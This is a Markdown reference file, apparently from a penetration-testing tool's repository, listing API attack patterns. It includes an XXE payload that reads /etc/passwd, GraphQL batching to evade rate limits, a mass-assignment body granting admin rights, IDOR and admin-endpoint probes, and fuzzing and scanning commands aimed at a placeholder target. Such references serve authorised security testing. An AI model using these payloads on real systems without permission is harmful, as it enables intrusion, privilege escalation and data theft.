mirror of
https://github.com/Strategic-Automation/violin.git
synced 2026-08-14 12:33:37 +02:00
88 lines
3.5 KiB
Markdown
88 lines
3.5 KiB
Markdown
# API Security Testing Reference & Payload Patterns
|
|
|
|
## 1. SOAP API Testing
|
|
### WSDL Enumeration
|
|
- Look for WSDL endpoints at `?wsdl`, `?WSDL`, `/service.asmx?wsdl`, `/ws?wsdl`.
|
|
- Parse operations, parameters, target namespaces, and bindings.
|
|
|
|
### XML Injection & XXE via SOAP
|
|
- Test XML parameters for entity expansion (XXE):
|
|
```xml
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<soapenv:Body>
|
|
<GetUserRequest>
|
|
<Username>&xxe;</Username>
|
|
</GetUserRequest>
|
|
</soapenv:Body>
|
|
</soapenv:Envelope>
|
|
```
|
|
|
|
### SOAP Action Fuzzing
|
|
- Test `SOAPAction` header tampering, header omission, or specifying alternative operation names in `SOAPAction` vs the XML body.
|
|
|
|
---
|
|
|
|
## 2. GraphQL Testing
|
|
### Introspection Queries
|
|
- Test if introspection is enabled:
|
|
```json
|
|
{"query": "{ __schema { types { name fields { name type { name kind ofType { name } } } } } }"}
|
|
```
|
|
|
|
### Batch Queries & Query Amplification
|
|
- Array-based batching: `[{"query": "..."}, {"query": "..."}]`
|
|
- Alias-based batching (bypassing rate limits on single endpoint):
|
|
```graphql
|
|
query {
|
|
u1: user(id: 1) { id username }
|
|
u2: user(id: 2) { id username }
|
|
}
|
|
```
|
|
|
|
### Field Suggestion & Alias Abuse
|
|
- Intentionally send typos in field names to leverage GraphQL field suggestion hints (e.g. `usr` -> `Did you mean user?`).
|
|
|
|
### Mutation Testing & Depth/Complexity Controls
|
|
- Check for authorization missing on sensitive mutations (`updateUser`, `deleteAccount`, `changePassword`).
|
|
- Test deeply nested recursive queries to test query depth/complexity limiters.
|
|
|
|
### Specialized GraphQL Tools
|
|
- `graphql-cop`: Static/dynamic analysis for GraphQL security misconfigurations (`npx graphql-cop -t http://target/graphql`).
|
|
- `inql`: GraphQL introspection scanner (`inql -t http://target/graphql`).
|
|
|
|
---
|
|
|
|
## 3. OWASP API Top 10 Patterns
|
|
### Excessive Data Exposure
|
|
- Inspect raw HTTP response JSON objects for sensitive unrendered properties (`password_hash`, `ssn`, `internal_role`, `is_admin`, `api_token`).
|
|
|
|
### Broken Object Level Authorization (IDOR / BOLA)
|
|
- Substitute resource identifiers in endpoint paths or query parameters (`GET /api/v1/users/101` -> `GET /api/v1/users/102`).
|
|
|
|
### Mass Assignment (Body Property Injection)
|
|
- Inject administrative or internal attributes into object creation/update payloads (`POST /api/users` or `PUT /api/users/me`):
|
|
```json
|
|
{
|
|
"email": "user@example.com",
|
|
"role": "admin",
|
|
"is_verified": true,
|
|
"permissions": ["*"]
|
|
}
|
|
```
|
|
|
|
### Broken Function Level Authorization (BFLA)
|
|
- Attempt accessing administrative API endpoints using regular user credentials (`GET /api/admin/metrics`, `POST /api/v1/users/suppress`).
|
|
|
|
### Security Misconfiguration & Unsafe API Consumption
|
|
- Check CORS misconfigurations (`Access-Control-Allow-Origin: *` with credentials), verbose stack traces, default API keys, and missing security headers.
|
|
|
|
---
|
|
|
|
## 4. API Security Tooling Syntax
|
|
- **`Arjun`** (Parameter Fuzzing): `arjun -u http://target/api/endpoint -m GET` or `arjun -u http://target/api/endpoint -m POST --json`
|
|
- **`ffuf`** (API Endpoint & Route Fuzzing): prefer `violin_ffuf(..., url="http://target/api/v1/FUZZ")`, which resolves explicit, `$SECLISTS`, SecLists, and DIRB wordlists; for a raw command use `-w <verified-existing-wordlist>`.
|
|
- **`Nuclei`** (API Vulnerability Templates): `violin_nuclei -u http://target/api -t exposure/,misconfiguration/`
|
|
- **`kiterunner`** (API OpenAPI/Swagger Brute Force): `kr scan http://target/api -w routes-large.kite`
|